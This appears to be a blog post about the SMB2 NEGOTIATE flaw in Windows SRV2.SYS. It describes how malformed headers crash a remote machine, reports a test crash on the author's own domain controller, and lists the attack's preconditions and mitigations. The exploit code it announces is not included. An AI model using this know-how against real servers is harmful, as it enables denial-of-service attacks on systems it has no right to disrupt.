There’s a simple exploit code on SMB2 protocol (implemented in the newer OSes of Microsoft) that can easily remote BSDO a Windows server or client. SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it’s used
to identify the SMB dialect that will be used for further communication. POC Tried and tested this on Windows 2008 R2 x32 on VirtualBox and it crashed that bad boy the instance i pressed enter. At the time of posting, that same server, which is my AD server (meant for a security seminar in Penang) just won’t boot! anymore…F@!@@!!!… and LOL at the same time. I had to boot with “Last known good configuration” and that brought the DC up again. The exploit was done on Debian. 
Also tried it on my x64 Windows 7 (also using SMB2.0) RTM Build 7600 but nothing happened. This means, Microsoft was informed of the bug and fixed it on the RTM build All credits to Laurent Gaffié Here’s the exploit code. You need to have file and print sharing enabled on Windows as well and of course, the firewall would allow file and print sharing from the network(s) that you are in.

Be responsible, exploit test machines only 😀 please Mitigation techniques: 1) Disable SMB / File and Print Sharing (this is tough …i know)
2) Enable host level IDS to detect this signature or custom make your own.
3) Enable firewalls to block SMB traffic from unknown sources (with the hope no one does this in the so called trusted network)

Microsoft Windows 7 beta And to add from my test, Windows 2008 with SP2. Microsoft posted this advisory but basically it doesn’t fix anything but just workaround to prevent SMB(2): http://www.microsoft.com/technet/security/advisory/975497.mspx
Good one.
